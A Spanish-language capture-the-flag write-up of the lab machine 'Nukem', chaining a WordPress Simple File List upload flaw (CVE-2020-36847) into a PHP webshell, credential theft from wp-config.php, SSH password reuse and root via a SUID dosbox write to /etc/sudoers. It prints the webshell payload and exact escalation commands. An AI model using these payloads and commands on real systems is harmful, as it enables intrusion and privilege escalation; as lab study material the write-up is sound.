Nukem
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Nukem corre un WordPress con el plugin Simple File List 4.2.2, vulnerable a una subida de ficheros arbitraria que deriva en RCE (CVE-2020-36847); el exploit48979.pysube una webshell PHP y ejecutamos como el usuariohttp. Elwp-config.phpfiltra las credencialescommander:CommanderKeenVorticons1990(credenciales en el código), válidas por SSH. Para escalar,/usr/bin/dosboxtiene el bit SUID: como DOSBox necesita un display gráfico, túnel SSH al VNC en 5901 y, desde ahí, el emulador escribe en/etc/sudoerscomoroot(abuso de dosbox SUID); consudototal,sudo sudaroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.118.10564 bytes from 192.168.118.105: icmp_seq=1 ttl=61 time=29.7 msBarremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.118.105PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
5000/tcp open http
13000/tcp open http
36445/tcp open netbios-ssnnmap -p22,80,3306,5000,13000,36445 -sCV 192.168.118.105 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.8.5)
13000/tcp open http nginx 1.18.0 (Login V14)
36445/tcp open netbios-ssn Samba smbd 4Hay varios servicios web, pero el del 80 se identifica solo: http-generator: WordPress 5.5.1, con título "Retro Gamming". Un WordPress es casi siempre un buen punto de partida por sus plugins.
HTTP - TCP 80
Enumeramos WordPress con wpscan. Entre los plugins detectados destaca simple-file-list en una versión antigua:
wpscan --url http://192.168.118.105/[+] simple-file-list
| Location: http://192.168.118.105/wp-content/plugins/simple-file-list/
| Version: 4.2.2 (100% confidence)La versión 4.2.2 de Simple File List arrastra una vulnerabilidad pública. La buscamos:
searchsploit 'Simple File List'
searchsploit -m php/webapps/48979.pyWordPress Plugin Simple File List 4.2.2 - Arbitrary File Upload | php/webapps/48979.pyRCE como http
Simple File List 4.2.2: subida arbitraria a RCE (CVE-2020-36847)
La técnica (CVE-2020-36847) abusa de que el plugin permite subir un fichero (en apariencia una imagen .png) y luego renombrarlo a .php, sorteando el filtro de extensión. El exploit 48979.py automatiza los tres pasos (subir, mover, confirmar); lo editamos para que el payload sea una webshell sencilla en vez de la contraseña que trae por defecto:
payload = '<?php system($_GET["cmd"]);?>'Lo lanzamos y comprobamos la ejecución con un id:
python3 rce.py http://192.168.118.105
curl http://192.168.118.105//wp-content/uploads/simple-file-list/466.php?cmd=id
[+] Exploit seem to work.
uid=33(http) gid=33(http) groups=33(http)Tenemos ejecución de comandos como http (el usuario del servidor web). Es RCE vía la webshell, suficiente para enumerar el sistema de ficheros sin necesidad aún de una shell interactiva.
Shell como commander
wp-config.php: credenciales -> SSH
Todo WordPress guarda las credenciales de su base de datos en wp-config.php. Localizamos la raíz del sitio y leemos el fichero a través de la webshell:
curl "http://192.168.118.105/wp-content/uploads/simple-file-list/466.php?cmd=pwd"
curl "http://192.168.118.105/wp-content/uploads/simple-file-list/466.php?cmd=cat%20/srv/http/wp-config.php"/srv/http/wp-content/uploads/simple-file-list
...
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );El wp-config.php filtra el usuario y la contraseña de la base de datos (credenciales en el código). La reutilización de contraseñas es lo primero que se prueba (reutilizarlas entre servicios es lo habitual): esas mismas credenciales abren una sesión SSH como commander:
ssh commander@192.168.118.105
commander@192.168.118.105's password:
Last login: Mon Jan 5 20:10:21 2026 from 192.168.45.227
[commander@nukem ~]$ whoami
commanderYa con shell interactiva, leemos la primera prueba:
cat /home/commander/local.txt && ip a && whoami && hostname
c9754d9ade414bc72eafbe718409a888Escalada de privilegios
SUID dosbox vía sesión VNC
Buscamos binarios con el bit SUID y aparece uno poco habitual:
find / -perm -4000 2>/dev/null/usr/bin/dosboxEl nombre no dice gran cosa por sí solo, así que el primer paso es averiguar qué hace ese binario:

DOSBox is a free, open-source x86 emulator that creates a virtual MS-DOS environment, allowing users to
run old DOS games and applications on modern operating systems like Windows, macOS, and Linux.Ahí está la clave: DOSBox es un emulador de MS-DOS que puede montar directorios del anfitrión y escribir ficheros; con SUID de root, todo lo que escriba lo escribe como root (abuso de dosbox SUID). La técnica está documentada, y sus requisitos explican el rodeo que viene:

Requirements:
dosbox has SUID bit, or user can run as sudo
Recommended to use with X11 GUI if possible
1) Connect via SSH using X11
2) Create our superroot user to overwrite the /etc/passwd file
3) Run dosbox
4) In dosbox GUI, Overwrite /etc/passwd file
mount d /
D:
type D:\HOME\USER\FKPASSWD >> D:\ETC\PASSWD
5) Get rootEl esquema es siempre el mismo: montar la raíz como una unidad DOS y volcar texto sobre un fichero privilegiado (el /etc/passwd de la guía, o el /etc/sudoers que usaremos aquí). Pero el requisito del entorno gráfico es real: DOSBox no arranca sin un servidor X. Revisando los puertos en escucha local aparece un VNC atado a localhost:
netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:36445 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:13000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5901 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTENEntre los servicios locales aparece un VNC atado a 127.0.0.1:5901.
El 127.0.0.1:5901 es un servidor VNC accesible solo desde la propia máquina. Lo exponemos con un túnel SSH y nos conectamos con un cliente VNC para tener un escritorio donde lanzar el emulador:
ssh -L 5901:localhost:5901 commander@192.168.118.105
vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Authentication successful
Desktop name "nukem:1 (commander)"El cliente autentica y abre el escritorio nukem:1 (commander) con una terminal gráfica.
Desde la terminal de esa sesión gráfica, ejecutamos el dosbox SUID para montar la raíz como unidad C: y añadir una línea a /etc/sudoers que conceda a commander sudo total. Como dosbox corre con privilegios de root, la escritura tiene éxito:
LFILE='/etc/sudoers'
dosbox -c 'mount c /' -c "echo commander ALL=(ALL:ALL) ALL >> C:$LFILE" -c exitComprobamos el nuevo permiso y saltamos a root:
sudo -l
sudo su
User commander may run the following commands on nukem:
(ALL : ALL) ALLLeemos la prueba final:
cat /root/proof.txt && hostname && whoami && ip a
58c4a281aea2a664aebcc73e7c4e9622Cadena de ataque
WordPress 5.5.1 (TCP 80) + plugin Simple File List 4.2.2
│ subida arbitraria + rename a .php ── CVE-2020-36847 ── webshell (48979.py)
▼
RCE como http
│ cat /srv/http/wp-config.php -> commander:CommanderKeenVorticons1990
│ reutilizacion de contrasena -> SSH
▼
shell como commander (local.txt)
│ SUID /usr/bin/dosbox + VNC local 5901 (tunel SSH)
│ dosbox monta / y escribe en /etc/sudoers -> sudo total
▼
sudo su -> shell como root (proof.txt)Lecciones aprendidas
- Los plugins son la superficie real de un WordPress. El núcleo estaba razonablemente al día (5.5.1), pero Simple File List 4.2.2 abría una subida arbitraria. Mantener todos los plugins actualizados (o retirar los que no se usen) es tan importante como parchear el CMS.
wp-config.phpes un objetivo de oro. Guarda en claro las credenciales de la base de datos, y aquí esas mismas valían para SSH: la reutilización de contraseñas convirtió una RCE limitada en acceso de usuario. Credenciales distintas por servicio habrían cortado el pivote.- Un binario SUID inesperado merece una mirada.
dosboxno tiene por qué correr comoroot; con SUID, su capacidad de montar y escribir ficheros lo convierte en escritura arbitraria comoroot(GTFOBins). - A veces la privesc exige resolver primero un requisito de entorno. DOSBox necesitaba un display; el VNC estaba solo en
localhost, así que hubo que tunelizarlo por SSH antes de poder abusar del SUID. Reconocer ese paso intermedio (un servicio atado a 127.0.0.1) es parte del trabajo.